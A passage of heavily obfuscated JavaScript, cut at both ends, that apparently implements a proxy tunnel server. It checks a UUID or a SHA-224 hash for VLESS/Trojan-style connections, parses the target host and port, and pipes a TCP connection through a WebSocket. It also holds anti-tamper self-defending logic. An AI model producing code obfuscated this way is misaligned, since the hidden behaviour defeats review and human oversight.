0x6c,_0x5c8c32:0xc6,_0x2229d7:0xa2,_0x217fc3:0x53,_0x4df66c:0x70,_0x1232ac:0x3e,_0x35984b:0x2b,_0x7fbcf0:0x57,_0xe7bafe:0x83,_0x20bae7:0xa1,_0x44ecf9:0x1a,_0x2a635e:0x160,_0x36c973:0xcd,_0x53b473:0x134,_0x58348d:0x18c,_0x2b20ff:0x20a,_0x234816:0xf7,_0x712438:0x30,_0x5414d0:0x3d,_0x4aa3ee:0xa0,_0x321000:0xb1,_0x498151:0x74,_0x2ede6f:0x10,_0x122325:0x13,_0x26b1b3:0x192,_0x43986c:0x15c,_0x4423a5:0x7c,_0x23b75e:0x3,_0x174bc3:0x56},_0x2ede7d={_0x135870:0x1b,_0x3ccf83:0x1c3},_0x2fe7a2={_0x3193aa:0xd,_0x21fefc:0x10f},_0x522310={_0x32ddb2:0x11f,_0x958a4f:0x74,_0x30314f:0x19e},_0x207549={'zxfpb':function(_0x3d9713,_0x5b81e8,_0xfe0e45){return _0x3d9713(_0x5b81e8,_0xfe0e45);},'PUoGf':_0x7a7b93(_0xe4d491._0x40d33e,_0xe4d491._0x513ef9,_0xe4d491._0x3da6ac,_0xe4d491._0x2862ab),'BcOtz':_0x53a643(_0xe4d491._0x4d780b,_0xe4d491._0x480a89,_0xe4d491._0x2e49e2,0x305),'XILRg':_0x7a7b93(_0xe4d491._0x12aaef,_0xe4d491._0x3c5f38,_0xe4d491._0x45e29e,_0xe4d491._0x4df9d7),'uoIjf':_0x7a7b93(_0xe4d491._0x33f952,_0xe4d491._0x4a2a71,_0xe4d491._0x45465a,0x1dd),'KPjkq':_0x53a643(_0xe4d491._0x3aadd5,_0xe4d491._0x32ee29,_0xe4d491._0x5b1197,_0xe4d491._0x41419d),'SlYai':function(_0x2f8dd7,_0x5d010e){return _0x2f8dd7+_0x5d010e;},'betGh':function(_0x2a74d6,_0x5a8655){return _0x2a74d6==_0x5a8655;},'nlCCp':function(_0x286475,_0x53027a){return _0x286475+_0x53027a;},'PiqTH':function(_0x18dc0c,_0x464ff6){return _0x18dc0c==_0x464ff6;},'zFwcO':function(_0x2687ce,_0x2a486c){return _0x2687ce(_0x2a486c);}},[_0x21e232]=_0x8323cf,_0x28c422=_0x8323cf[_0x53a643(_0xe4d491._0x26f977,_0xe4d491._0x5901d9,_0xe4d491._0x146cac,_0xe4d491._0x1ea66f)](-0x22e5+-0x9d*0x17+-0x9cd*-0x5,-0x16*0x89+-0x1d91+0x2968);if(!_0x28c422[_0x53a643(_0xe4d491._0x870824,_0xe4d491._0x3a9b11,_0xe4d491._0xfddf29,_0xe4d491._0x5296be)]((_0x5a799a,_0x464a1b)=>_0x5a799a==parseInt(uuid['substr'](_0x464a1b*(-0xa3a+0x1*-0x3e6+0xe22),0x1629+0x2610+-0x5*0xc0b),0x17a*-0xb+0x970+0x2*0x36f)))return![];let _0x4f3dd7=_0x207549[_0x7a7b93(0x11a,_0xe4d491._0x21107f,_0xe4d491._0x11e253,_0xe4d491._0x4e6070)](_0x8323cf[_0x53a643(0x2fa,_0xe4d491._0x511cb5,_0xe4d491._0x4c895e,_0xe4d491._0x18f513)](-0x21*-0x6b+-0x4f*-0x44+0xb92*-0x3,-0x4db+-0x39*0x7f+-0x11*-0x1f4)[_0x53a643(_0xe4d491._0x4c9c56,_0xe4d491._0x2d1768,_0xe4d491._0x3a0b99,_0xe4d491._0x4438b4)](),0x1*-0x1df7+-0x3*0x8e4+-0x38b6*-0x1);const _0x35ac98=_0x8323cf[_0x53a643(_0xe4d491._0x3ebea4,0x267,0x33f,_0xe4d491._0x454c01)](_0x4f3dd7,_0x4f3dd7+=0x2ee+0x2440+-0x1b4*0x17)[_0x7a7b93(0x2b5,_0xe4d491._0x4c382d,_0xe4d491._0x30526f,0x1ce)](0x5*-0x577+-0x3b+0x1b8e),_0x104fc9=_0x8323cf[_0x53a643(0x2fa,0x2d1,_0xe4d491._0x3ed7e7,0x266)](_0x4f3dd7,_0x4f3dd7+=0x108e*-0x1+-0x1f32+0x4b*0xa3)[_0x7a7b93(_0xe4d491._0x447e1e,_0xe4d491._0x3a077b,_0xe4d491._0x40e778,_0xe4d491._0x2ca4d7)](),_0x2d0348=_0x207549[_0x7a7b93(_0xe4d491._0x515dcb,0x338,_0xe4d491._0x1c9059,_0xe4d491._0x4c382d)](_0x104fc9,0x1585*0x1+0x6bc+-0x1c40)?_0x8323cf[_0x53a643(_0xe4d491._0x5cd22f,0x343,0x2c1,_0xe4d491._0x3c9f17)](_0x4f3dd7,_0x4f3dd7+=-0x152e+0x1146+0x3ec)['join']('.'):_0x207549[_0x7a7b93(_0xe4d491._0x386289,_0xe4d491._0x122283,_0xe4d491._0x1c9059,_0xe4d491._0x2e094f)](_0x104fc9,-0x30d+0x1c9b+0x51c*-0x5)?new TextDecoder()[_0x53a643(_0xe4d491._0x58b9d5,_0xe4d491._0x34908a,_0xe4d491._0x4a3226,_0xe4d491._0x21396c)](_0x8323cf[_0x7a7b93(_0xe4d491._0x11e253,0x25e,_0xe4d491._0x39e772,_0xe4d491._0x7585dd)](_0x4f3dd7+(0x22bd*-0x1+0x21e*0x1+0xae0*0x3),_0x4f3dd7+=_0x207549['SlYai'](0x3*0x869+0x1891+0x71d*-0x7,_0x8323cf[_0x7a7b93(0x164,_0xe4d491._0x270bb1,_0xe4d491._0x39e772,0x288)](_0x4f3dd7,_0x207549[_0x53a643(0x39c,0x42d,_0xe4d491._0x3c1c3c,_0xe4d491._0x3f282d)](_0x4f3dd7,0x1*-0x533+-0xb*-0x266+0x152e*-0x1))[_0x7a7b93(_0xe4d491._0x138a9c,0x19a,_0xe4d491._0x4d0d70,_0xe4d491._0x474ece)]()))):_0x207549[_0x7a7b93(_0xe4d491._0x770e49,_0xe4d491._0x1c44a8,_0xe4d491._0x1df211,_0xe4d491._0x780190)](_0x104fc9,-0x17ad+0x1049+0x767)?_0x8323cf[_0x7a7b93(_0xe4d491._0x27eee8,_0xe4d491._0x2cb7a6,_0xe4d491._0x39e772,_0xe4d491._0x1329b3)](_0x4f3dd7,_0x4f3dd7+=-0x1076+-0x86e+0x18f4)[_0x7a7b93(_0xe4d491._0xaa855d,_0xe4d491._0x47af26,_0xe4d491._0x5beef1,_0xe4d491._0xfb668e)]((_0x53b0df,_0x357314,_0x3d1577,_0x24d29c)=>_0x3d1577%(0x9c1+-0x94+-0x92b)?_0x53b0df[_0x7a7b93(0x16d,0x171,0x1cb,0x1f9)](_0x24d29c[_0x7a7b93(0x24d,0x201,0x1e8,0x276)](_0x3d1577-(-0x1f11+-0x1f*0x12a+-0x2*-0x2194),_0x3d1577+(0xd2d+0x14*0xc5+-0x1c90))):_0x53b0df,[])[_0x53a643(_0xe4d491._0x5cbf34,0x339,0x270,_0xe4d491._0x1022d2)](_0x1b8276=>_0x1b8276[_0x7a7b93(0x2d7,0x26c,0x26e,0x2ae)](-0xc2*0xd+0x68*-0x53+0x2b92)[_0x7a7b93(0x243,0x1a5,0x20e,0x25b)](0x38f*-0x6+0x223*-0x8+0x2682))[_0x53a643(_0xe4d491._0x454ee9,0x421,_0xe4d491._0x9b4fe5,_0xe4d491._0x1b2255)](':'):'';_0x1bc2d5[_0x53a643(_0xe4d491._0x3ce8c7,_0xe4d491._0x2f0de1,_0xe4d491._0x5cbf34,_0xe4d491._0x2e094f)](new Uint8Array([_0x21e232,0x1582+0xb66+-0x20e8]));function _0x7a7b93(_0x224a18,_0x5ef9a7,_0x2cdd3e,_0x66106c){return _0x282628(_0x2cdd3e- -_0x522310._0x32ddb2,_0x5ef9a7-_0x522310._0x958a4f,_0x2cdd3e-_0x522310._0x30314f,_0x5ef9a7);}const _0x46a1ca=_0x207549[_0x7a7b93(_0xe4d491._0x1e6bf4,_0xe4d491._0x137563,_0xe4d491._0xbf8dd3,_0xe4d491._0x59b57e)](createWebSocketStream,_0x1bc2d5);function _0x53a643(_0x362a7d,_0x120167,_0x2b6d90,_0x27e263){return _0x282628(_0x362a7d- -_0x2fe7a2._0x3193aa,_0x120167-0x132,_0x2b6d90-_0x2fe7a2._0x21fefc,_0x27e263);}return resolveHost(_0x2d0348)['then'](_0x13b105=>{const _0x4d7d53={_0x27ab56:0x32a,_0x3b3af0:0xb3,_0x20ca6d:0x1c9},_0x2cba61={_0x5e9822:0xd7,_0x350121:0x11e,_0x129025:0x90},_0x59fa62={_0x358372:0xc3,_0x31d3bb:0x112};function _0x101485(_0x563d45,_0x1f83ce,_0x1ce026,_0x269a3e){return _0x7a7b93(_0x563d45-_0x59fa62._0x358372,_0x563d45,_0x269a3e- -0x13b,_0x269a3e-_0x59fa62._0x31d3bb);}const _0x443f2f={};function _0x54d28c(_0x4e0002,_0x5d54bd,_0x22a933,_0x3fb878){return _0x53a643(_0x4e0002-_0x2ede7d._0x135870,_0x5d54bd-0x1bf,_0x22a933-_0x2ede7d._0x3ccf83,_0x22a933);}_0x443f2f['host']=_0x13b105,_0x443f2f[_0x54d28c(_0x28944b._0x213e5e,_0x28944b._0x25f5e5,_0x28944b._0x106da4,0x340)]=_0x35ac98,net[_0x54d28c(_0x28944b._0x1bc148,_0x28944b._0x1811aa,_0x28944b._0x529a0a,0x38e)](_0x443f2f,function(){const _0x16fc55={_0x65a05f:0x9d,_0x4aa918:0x224};function _0x560491(_0x25865f,_0x2fe160,_0x464201,_0x4e346a){return _0x101485(_0x4e346a,_0x2fe160-0x14a,_0x464201-_0x16fc55._0x65a05f,_0x25865f- -_0x16fc55._0x4aa918);}const _0x439a83={'xBcTo':function(_0x1b54e2){return _0x1b54e2();},'ADHUT':function(_0x49bf54,_0x134898,_0x56c6df){function _0x308353(_0x544542,_0x5ae86b,_0x5f786a,_0x49f9db){return _0x15ff(_0x5ae86b- -0x37c,_0x49f9db);}return _0x207549[_0x308353(-0x5c,-_0x2cba61._0x5e9822,-_0x2cba61._0x350121,-_0x2cba61._0x129025)](_0x49bf54,_0x134898,_0x56c6df);},'yBgxR':function(_0x1e2f5c){return _0x1e2f5c();}};function _0x18bf92(_0x3add22,_0xdf6a6e,_0xe0ee92,_0xda4b3a){return _0x54d28c(_0xe0ee92- -_0x4d7d53._0x27ab56,_0xdf6a6e-_0x4d7d53._0x3b3af0,_0x3add22,_0xda4b3a-_0x4d7d53._0x20ca6d);}_0x207549[_0x560491(-_0x2cc391._0x24045b,-_0x2cc391._0xd70324,-_0x2cc391._0x455779,-_0x2cc391._0x233add)]!==_0x207549[_0x560491(-0xa9,-_0x2cc391._0x5c8c32,-_0x2cc391._0x2229d7,-_0x2cc391._0x217fc3)]?(_0x439a83[_0x18bf92(_0x2cc391._0x4df66c,-_0x2cc391._0x1232ac,_0x2cc391._0x35984b,-_0x2cc391._0x7fbcf0)](_0x492a33),_0x439a83['ADHUT'](_0x59e36d,()=>{_0x1e3746();},-0x8e47+-0x26a0f+-0x5616*-0x11),_0x439a83['yBgxR'](_0x51321f),_0x189b7c[_0x18bf92(0xc3,_0x2cc391._0xe7bafe,_0x2cc391._0x20bae7,_0x2cc391._0x44ecf9)](_0x560491(-_0x2cc391._0x2a635e,-0x1bb,-_0x2cc391._0x36c973,-_0x2cc391._0x53b473)+_0x2acdcd)):(this[_0x560491(-_0x2cc391._0x58348d,-_0x2cc391._0x2b20ff,-_0x2cc391._0x234816,-0x16c)](_0x8323cf[_0x18bf92(-_0x2cc391._0x712438,_0x2cc391._0x5414d0,-0x15,-_0x2cc391._0x4aa3ee)](_0x4f3dd7)),_0x46a1ca['on'](_0x207549[_0x18bf92(_0x2cc391._0x321000,_0x2cc391._0x498151,_0x2cc391._0x2ede6f,-_0x2cc391._0x122325)],()=>{})[_0x560491(-_0x2cc391._0x26b1b3,-_0x2cc391._0x43986c,-0x1a5,-0x16e)](this)['on'](_0x207549[_0x18bf92(-_0x2cc391._0x4423a5,_0x2cc391._0x23b75e,0x10,_0x2cc391._0x174bc3)],()=>{})['pipe'](_0x46a1ca));})['on'](_0x207549[_0x54d28c(_0x28944b._0x13ee2d,_0x28944b._0x236d69,0x3d1,_0x28944b._0x628654)],()=>{});})['catch'](_0x5b3002=>{const _0x44dafa={_0x10084d:0xe0,_0x385d09:0x202,_0x461f1b:0x2f2,_0x4547f9:0x388,_0x2d5fcf:0x2a8,_0x3e1d84:0xbf,_0x542831:0x130,_0x2069f8:0xf2,_0x1c2f0c:0x2fd,_0x533619:0x3a8,_0x56ddaf:0x36b,_0xb554fa:0x1f2,_0xf54406:0x1cc,_0x450d6c:0x15d},_0x57ed18={_0x5b0a10:0x1cf,_0x23843b:0x94,_0x5f22fd:0x436},_0xacc609={_0x22e40f:0xe9,_0x2d8b83:0x3c3},_0xe0148d={};function _0x23a7b2(_0x2674d1,_0x8cfe01,_0x767a8f,_0x19c7ff){return _0x7a7b93(_0x2674d1-_0x4d0414._0x2e496d,_0x2674d1,_0x19c7ff- -_0x4d0414._0x4b5aba,_0x19c7ff-_0x4d0414._0x28a38c);}_0xe0148d[_0x23a7b2(-0x4,_0xe3e5ce._0x2fbc4f,-0xc5,-_0xe3e5ce._0x22405f)]=_0x563439(_0xe3e5ce._0x346059,_0xe3e5ce._0x2cd9ea,_0xe3e5ce._0x25a77e,0x56d);function _0x563439(_0x4ac5f3,_0x6e2bb2,_0x51de2a,_0x56f81a){return _0x7a7b93(_0x4ac5f3-_0xacc609._0x22e40f,_0x4ac5f3,_0x56f81a-_0xacc609._0x2d8b83,_0x56f81a-0x1f);}_0xe0148d['QDflt']=_0x207549['XILRg'];const _0x2a4404=_0xe0148d;if(_0x207549[_0x23a7b2(-0xd7,-_0xe3e5ce._0x6d4f53,-_0xe3e5ce._0x3845b5,-_0xe3e5ce._0x2316d5)]===_0x207549[_0x23a7b2(-_0xe3e5ce._0x5894d5,-0xae,-_0xe3e5ce._0x350592,-_0xe3e5ce._0x1e13e6)])return!_0x1a6b35?_0x2a4404[_0x23a7b2(-_0xe3e5ce._0xd3f12b,-_0xe3e5ce._0x5c74c9,_0xe3e5ce._0x1397eb,-_0xe3e5ce._0x32f4e6)]:_0x2a4404[_0x563439(_0xe3e5ce._0x21d791,_0xe3e5ce._0x2f1e44,_0xe3e5ce._0x3e969b,_0xe3e5ce._0x14a1c5)];else{const _0x44a307={};_0x44a307[_0x563439(_0xe3e5ce._0x553e24,_0xe3e5ce._0x4c57c0,_0xe3e5ce._0x42e2a4,_0xe3e5ce._0x115e32)]=_0x2d0348,_0x44a307['port']=_0x35ac98,net[_0x563439(_0xe3e5ce._0x3dc233,0x63c,_0xe3e5ce._0x119de6,_0xe3e5ce._0x5184d5)](_0x44a307,function(){const _0x1c95d9={_0x2b5300:0xa3,_0x4a718e:0x265};this[_0x187b80(0x1a5,_0x44dafa._0x10084d,_0x44dafa._0x385d09,0x160)](_0x8323cf[_0x89ff40(_0x44dafa._0x461f1b,_0x44dafa._0x4547f9,_0x44dafa._0x2d5fcf,0x346)](_0x4f3dd7));function _0x89ff40(_0x876149,_0x3c8d5b,_0x3a750c,_0x6f2fef){return _0x563439(_0x876149,_0x3c8d5b-0x5c,_0x3a750c-_0x1c95d9._0x2b5300,_0x6f2fef- -_0x1c95d9._0x4a718e);}function _0x187b80(_0x3a9864,_0x4e2c05,_0x4079c6,_0x18bffb){return _0x563439(_0x4079c6,_0x4e2c05-_0x57ed18._0x5b0a10,_0x4079c6-_0x57ed18._0x23843b,_0x18bffb- -_0x57ed18._0x5f22fd);}_0x46a1ca['on'](_0x207549['BcOtz'],()=>{})[_0x187b80(_0x44dafa._0x3e1d84,_0x44dafa._0x542831,_0x44dafa._0x2069f8,0x15a)](this)['on'](_0x207549[_0x89ff40(0x388,_0x44dafa._0x1c2f0c,_0x44dafa._0x533619,_0x44dafa._0x56ddaf)],()=>{})[_0x187b80(_0x44dafa._0xb554fa,_0x44dafa._0xf54406,_0x44dafa._0x450d6c,0x15a)](_0x46a1ca);})['on'](_0x207549[_0x23a7b2(-0xd2,-_0xe3e5ce._0x6d0027,-_0xe3e5ce._0x4a5448,-0xb2)],()=>{});}}),!![];}function _0x15ff(_0x407edd,_0x1d8051){const _0x4fa3a4=_0x3675();return _0x15ff=function(_0x34ae1a,_0x2e47e0){_0x34ae1a=_0x34ae1a-(0xef*-0x9+0x1c9*0xf+-0x109d);let _0x251e1e=_0x4fa3a4[_0x34ae1a];if(_0x15ff['bohJFF']===undefined){var _0x3fde13=function(_0x17feab){const _0x260c8e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x1cb024='',_0x36b818='',_0x3921b9=_0x1cb024+_0x3fde13;for(let _0x2c6ec5=-0x301*0xc+-0xd5*-0xb+0x1ae5,_0x343638,_0x20b311,_0x5efea8=0x2051*0x1+0x770+-0x27c1;_0x20b311=_0x17feab['charAt'](_0x5efea8++);~_0x20b311&&(_0x343638=_0x2c6ec5%(-0x1*-0x9be+-0x2ea*0x7+0xaac)?_0x343638*(-0x4a+-0x2e8*-0x4+0x1d9*-0x6)+_0x20b311:_0x20b311,_0x2c6ec5++%(0x4a7*0x2+0x1424+-0x1d6e))?_0x1cb024+=_0x3921b9['charCodeAt'](_0x5efea8+(-0x47*-0x6d+-0x2082+0x251))-(0x1b95+-0x209+0x2*-0xcc1)!==-0x13*-0x98+-0x766+-0x3e2?String['fromCharCode'](0xb*0x19c+-0x2687+0x10a*0x15&_0x343638>>(-(0xbf8+-0x26f5+-0x1*-0x1aff)*_0x2c6ec5&-0x1d*0x77+0x2*0x502+0x2f*0x13)):_0x2c6ec5:0x3e4+-0x1d22+-0x12*-0x167){_0x20b311=_0x260c8e['indexOf'](_0x20b311);}for(let _0x259aaf=0x25a*0xd+0xe62+0x77e*-0x6,_0x490b6f=_0x1cb024['length'];_0x259aaf<_0x490b6f;_0x259aaf++){_0x36b818+='%'+('00'+_0x1cb024['charCodeAt'](_0x259aaf)['toString'](0x6fd*0x2+0x2*0x9cd+-0x2184))['slice'](-(-0x269e+-0xe21+0x34c1));}return decodeURIComponent(_0x36b818);};_0x15ff['bEQXla']=_0x3fde13,_0x407edd=arguments,_0x15ff['bohJFF']=!![];}const _0x2c27cf=_0x4fa3a4[0x1*0xb5a+-0x139*0x2+0x14*-0x72],_0x1b49de=_0x34ae1a+_0x2c27cf,_0xe23317=_0x407edd[_0x1b49de];if(!_0xe23317){const _0x2a3ee7=function(_0x253df1){this['OjRbPG']=_0x253df1,this['YZuUJc']=[-0x57f+-0xa8c+0x9e*0x1a,0x730+0x8*0x3cb+-0x4*0x962,0x90b+0x18b6*-0x1+-0x539*-0x3],this['PBNDUX']=function(){return'newState';},this['aEyVBk']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['rULsMq']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x2a3ee7['prototype']['Tzduny']=function(){const _0x3ce60e=new RegExp(this['aEyVBk']+this['rULsMq']),_0x47c815=_0x3ce60e['test'](this['PBNDUX']['toString']())?--this['YZuUJc'][-0x1ec+-0xc11+-0x4aa*-0x3]:--this['YZuUJc'][0x250+-0x1020+0xdd0];return this['WRhHeb'](_0x47c815);},_0x2a3ee7['prototype']['WRhHeb']=function(_0x27b044){if(!Boolean(~_0x27b044))return _0x27b044;return this['STKinp'](this['OjRbPG']);},_0x2a3ee7['prototype']['STKinp']=function(_0x434ad7){for(let _0x17eeed=0x1*-0xc26+-0xd40+0x1966,_0x24af2d=this['YZuUJc']['length'];_0x17eeed<_0x24af2d;_0x17eeed++){this['YZuUJc']['push'](Math['round'](Math['random']())),_0x24af2d=this['YZuUJc']['length'];}return _0x434ad7(this['YZuUJc'][-0x112a*-0x2+0x25d+-0x5d*0x65]);},new _0x2a3ee7(_0x15ff)['Tzduny'](),_0x251e1e=_0x15ff['bEQXla'](_0x251e1e),_0x407edd[_0x1b49de]=_0x251e1e;}else _0x251e1e=_0xe23317;return _0x251e1e;},_0x15ff(_0x407edd,_0x1d8051);}function handleTrojanConnection(_0x508c69,_0xcd94ce){const _0x512218={_0x4dbdf0:0x53b,_0x5b18d3:0x4d7,_0x4d971f:0x469,_0x96e1fa:0x2a,_0x1e1bb9:0xc8,_0x4c0728:0x7f,_0x560816:0xa5,_0x4eec95:0x601,_0x3ff4c3:0x4f7,_0x194958:0x5a2,_0x2e8ece:0x4fe,_0x1dc7ef:0x444,_0x36735d:0x484,_0x30987c:0x4f0,_0x2e9e80:0x53f,_0x500b41:0x500,_0xb55cdd:0x621,_0x29a3e9:0x72,_0x3eb342:0x4c7,_0x247dc4:0x439,_0x13658b:0x5b,_0x5bf3f1:0x4a6,_0x391d64:0x4ba,_0x23d1e3:0x524,_0x4a35a4:0x4e0,_0x588208:0x4d8,_0x316d70:0x5b5,_0x4116de:0x50f,_0x26b4b3:0x539,_0x6c32b6:0x14,_0x318869:0x118,_0x211080:0x8e,_0x577fa7:0x589,_0x205c90:0x5a3,_0x14e251:0x5b9,_0x5e7f56:0x559,_0x36d699:0x28,_0xb123ba:0x4e,_0x3a7157:0x45,_0xb180d8:0x27,_0x149ba2:0x113,_0x3f6956:0x59f,_0x571a23:0x52f,_0x471d70:0x523,_0x1f3361:0x4bd,_0x42e15b:0x4a2,_0x436da0:0x33,_0xc7610f:0x60,_0x1e3f34:0x93,_0x5773b5:0x13,_0x51aba3:0x522,_0x1c8bda:0x5ad,_0x103310:0x64a,_0x4f9843:0x31,_0x538e2f:0x2c,_0x41277f:0x1e,_0x1b4c79:0x49b,_0x437e7f:0x54c,_0x4819e9:0x50b,_0x41e347:0x4d1,_0x5c3d77:0x54e,_0x102aab:0x4bc,_0x3836d7:0x49b,_0x4fae26:0x554,_0x2bb1f8:0x4b2,_0x130217:0x87,_0x1a04c4:0x147,_0x9219f:0xc6,_0x1120a7:0x32,_0x2254a5:0x9c,_0x39ca1c:0x4f2,_0x25fc77:0x49c,_0x1c530c:0x446,_0x428ffa:0x100,_0x2fc6af:0xf6,_0x62d003:0x81,_0x3deaf5:0xab,_0xc8deea:0x1e,_0x3d1106:0x90,_0x171780:0x97,_0x232676:0x89,_0x556616:0x12,_0x37dfcb:0x1f,_0xbc4f01:0x56,_0x20a4c9:0x57f,_0x19afb7:0x61e,_0x1d8843:0x584,_0x38f319:0x5de,_0x2ef42d:0x88,_0x4c5435:0x94,_0x1477cc:0xb2,_0x3d6cfa:0x48,_0x21d821:0x43,_0x4d0578:0xe2,_0x30697a:0x13,_0x425906:0x53,_0x59ba37:0xde,_0x3375d5:0xa4,_0x48760e:0x102,_0x35b784:0x5b,_0x3c5ec3:0x533,_0x8bdc13:0x476,_0x4ff51e:0x497,_0x3b7872:0x48e,_0x2773a6:0x4d6,_0x14432b:0x535,_0x413d6a:0x4a3,_0x153931:0x4ed,_0xe63d77:0x4b1,_0x151f6b:0x29,_0x9e77f6:0x75,_0x25b01e:0x29,_0x1738a8:0x20,_0x5e434c:0x561,_0x2db827:0x586,_0x59a9b9:0x5dd,_0x28b780:0x103,_0x5c2b3b:0x13f,_0x5a885b:0x41b,_0x338ddc:0x466,_0x357457:0x4c1,_0x5e7055:0xd9,_0x569228:0x101,_0x39f754:0xc0,_0x2f6d20:0x84,_0x1a9b14:0x513,_0x4b175c:0x472,_0x457df7:0x516,_0x3dce53:0x412,_0x6a5aed:0x495,_0x2f1502:0x4d3,_0x445ba1:0x4be,_0x8b90b5:0x537,_0x380a0c:0x596,_0x379e99:0xda,_0x4c94e6:0x2d,_0xa37678:0xc7,_0xa770a4:0x4d,_0x12b0c7:0x172,_0x2a77c4:0x78,_0x4defb8:0x483,_0x1ec5c7:0x59e,_0x271bad:0x549,_0x59f2e9:0x5d0,_0x1b169f:0x46e,_0x215f56:0x44f,_0x489f35:0xa1,_0x188d47:0xec,_0x56c881:0x4c,_0x5a4a3e:0xcf,_0x1460ba:0x72,_0x5e430a:0x44},_0x1ad6ec={_0xf5cd20:0x585,_0xa9f6f7:0x573,_0x3a63bf:0x540,_0x2e3dfa:0x597,_0x3f1c5f:0x5bc},_0x4d22ef={_0x21bdc9:0x1c2,_0x28bf0f:0xa6,_0x591a99:0x14c},_0x483df5={_0x562074:0x14e,_0x3f9b14:0xaa,_0x43d3e3:0xd6,_0x3533e5:0x42,_0x33950c:0x171,_0x578819:0xd2},_0x8a4b5c={_0x4f3185:0xef,_0x2fc5a2:0xcb,_0x558120:0x330,_0x4292b8:0x33d,_0x371e8e:0x346,_0x31410a:0x338,_0x39dd02:0x7b,_0x587912:0x103,_0x29610b:0x0,_0xd30882:0x10d,_0x28dee6:0x2ae,_0x327fad:0x1fd,_0x59dc9e:0x256,_0x187a44:0x241,_0x57c7a2:0x1a5,_0x65c639:0x2bc,_0x9b8720:0x69,_0x42437e:0x14,_0x9cca53:0x2eb,_0x65b8a0:0x34b,_0x285980:0x1a0,_0x46afae:0x19d,_0x498ea6:0x23b,_0x484d6c:0x2c1},_0x1f87a1={_0x3bdb17:0x137,_0x250e92:0x559,_0xd2b609:0x159},_0x5a3a40={_0x502447:0x7b,_0x14be25:0x8c,_0x1f262b:0xea};function _0x2547bf(_0x1c453d,_0x35b56c,_0x470ac7,_0x31c5fe){return _0x2e685e(_0x1c453d-_0x5a3a40._0x502447,_0x31c5fe-_0x5a3a40._0x14be25,_0x470ac7-_0x5a3a40._0x1f262b,_0x35b56c);}function _0x335a3d(_0x5a0bdf,_0x58b5c9,_0x23960b,_0x2d5aa1){return _0x2e685e(_0x5a0bdf-_0x1f87a1._0x3bdb17,_0x23960b-_0x1f87a1._0x250e92,_0x23960b-_0x1f87a1._0xd2b609,_0x5a0bdf);}const _0x2d878b={'HNwzJ':function(_0x1a9b34,_0x5f1e06){return _0x1a9b34+_0x5f1e06;},'cWnWd':_0x335a3d(_0x512218._0x4dbdf0,_0x512218._0x5b18d3,0x4e9,_0x512218._0x4d971f),'zGbWt':function(_0x2fc0a8,_0x78c59e){return _0x2fc0a8+_0x78c59e;},'hzPBS':'npm\x20running\x20error:','vQzHx':_0x2547bf(_0x512218._0x96e1fa,_0x512218._0x1e1bb9,_0x512218._0x4c0728,_0x512218._0x560816),'BNdkJ':function(_0x4c7384,_0x3ab497){return _0x4c7384<_0x3ab497;},'NOVLD':'error','EPQKh':function(_0xe382a6,_0x270267,_0x208dc0,_0x17a6aa){return _0xe382a6(_0x270267,_0x208dc0,_0x17a6aa);},'UuJiD':_0x335a3d(_0x512218._0x4eec95,_0x512218._0x3ff4c3,0x59c,_0x512218._0x194958),'SCWTx':'sha224','zXkcH':function(_0x4018e0,_0x268a7d){return _0x4018e0===_0x268a7d;},'wQvzQ':function(_0x3f89d0,_0x4d168b){return _0x3f89d0===_0x4d168b;},'KgqtP':_0x335a3d(_0x512218._0x2e8ece,_0x512218._0x1dc7ef,_0x512218._0x36735d,_0x512218._0x30987c),'PFrsy':'IXkLD','dQHUH':function(_0x2aaa7a,_0x445a27){return _0x2aaa7a===_0x445a27;},'hqVlo':function(_0x45fc2d,_0x135d51){return _0x45fc2d===_0x135d51;},'fltnc':'hldop','CjqvW':_0x335a3d(_0x512218._0x2e9e80,_0x512218._0x500b41,0x59d,_0x512218._0xb55cdd),'iZfPN':function(_0x26ae5f,_0x12cb9c){return _0x26ae5f+_0x12cb9c;},'qYPsM':function(_0x1ece99,_0x35f11e){return _0x1ece99!==_0x35f11e;},'AnENC':'KCJya','YaYIf':'nkCTK','nSPmm':function(_0x3ce81e,_0x49150c){return _0x3ce81e===_0x49150c;},'wVsVf':_0x2547bf(_0x512218._0x29a3e9,0xd2,0x21,0x7e),'FoJML':_0x335a3d(0x494,0x44b,_0x512218._0x3eb342,_0x512218._0x247dc4),'eChFt':function(_0x1bc25b,_0x41e941){return _0x1bc25b(_0x41e941);},'vjiLi':function(_0x2f94e8,_0x5dcf72){return _0x2f94e8(_0x5dcf72);},'umJST':'KPutp'};try{if(_0x2d878b[_0x2547bf(0x19,0xe2,_0x512218._0x13658b,0x4c)](_0xcd94ce['length'],0xa34+0x7*0x4a2+0xb8*-0x3b))return![];const _0x2a5480=_0xcd94ce[_0x335a3d(0x52b,_0x512218._0x5bf3f1,_0x512218._0x391d64,0x557)](-0x1b*0xef+-0x75+-0xa*-0x291,-0x955*0x3+0x298*-0x4+0x25*0x10b)[_0x335a3d(_0x512218._0x23d1e3,0x43f,_0x512218._0x4a35a4,_0x512218._0x588208)](),_0x4bb9b8=[UUID];let _0x4ddf00=null;for(const _0x457fde of _0x4bb9b8){const _0x1ba8d5=crypto['createHash'](_0x2d878b[_0x335a3d(_0x512218._0x316d70,_0x512218._0x4116de,_0x512218._0x26b4b3,0x4fc)])[_0x2547bf(_0x512218._0x6c32b6,_0x512218._0x318869,_0x512218._0x211080,0xa8)](_0x457fde)[_0x335a3d(_0x512218._0x577fa7,_0x512218._0x205c90,_0x512218._0x14e251,_0x512218._0x5e7f56)](_0x2547bf(_0x512218._0x36d699,_0x512218._0xb123ba,-0x5e,-_0x512218._0x3a7157));if(_0x2d878b[_0x2547bf(_0x512218._0xb180d8,_0x512218._0x149ba2,0x4f,0xaa)](_0x1ba8d5,_0x2a5480)){_0x4ddf00=_0x457fde;break;}}if(!_0x4ddf00)return![];let _0x24953e=-0xfeb+0x1321*0x1+-0x2fe*0x1;_0xcd94ce[_0x24953e]===0xfa0+-0x22f9+0x1366*0x1&&_0xcd94ce[_0x24953e+(0x1c8+0x1a37+0x1bfe*-0x1)]===-0x1*-0x11a7+0x2351+-0x19*0x21e&&(_0x24953e+=-0x244a+-0x4df+0x292b);const _0x1ff97f=_0xcd94ce[_0x24953e];if(_0x1ff97f!==-0x2024+0x96b*-0x1+0x2990)return![];_0x24953e+=-0xdc7*0x1+0x1*0x399+0xa2f;const _0x18c763=_0xcd94ce[_0x24953e];_0x24953e+=0x19*-0xe3+-0x2*-0x709+-0x7a*-0x11;let 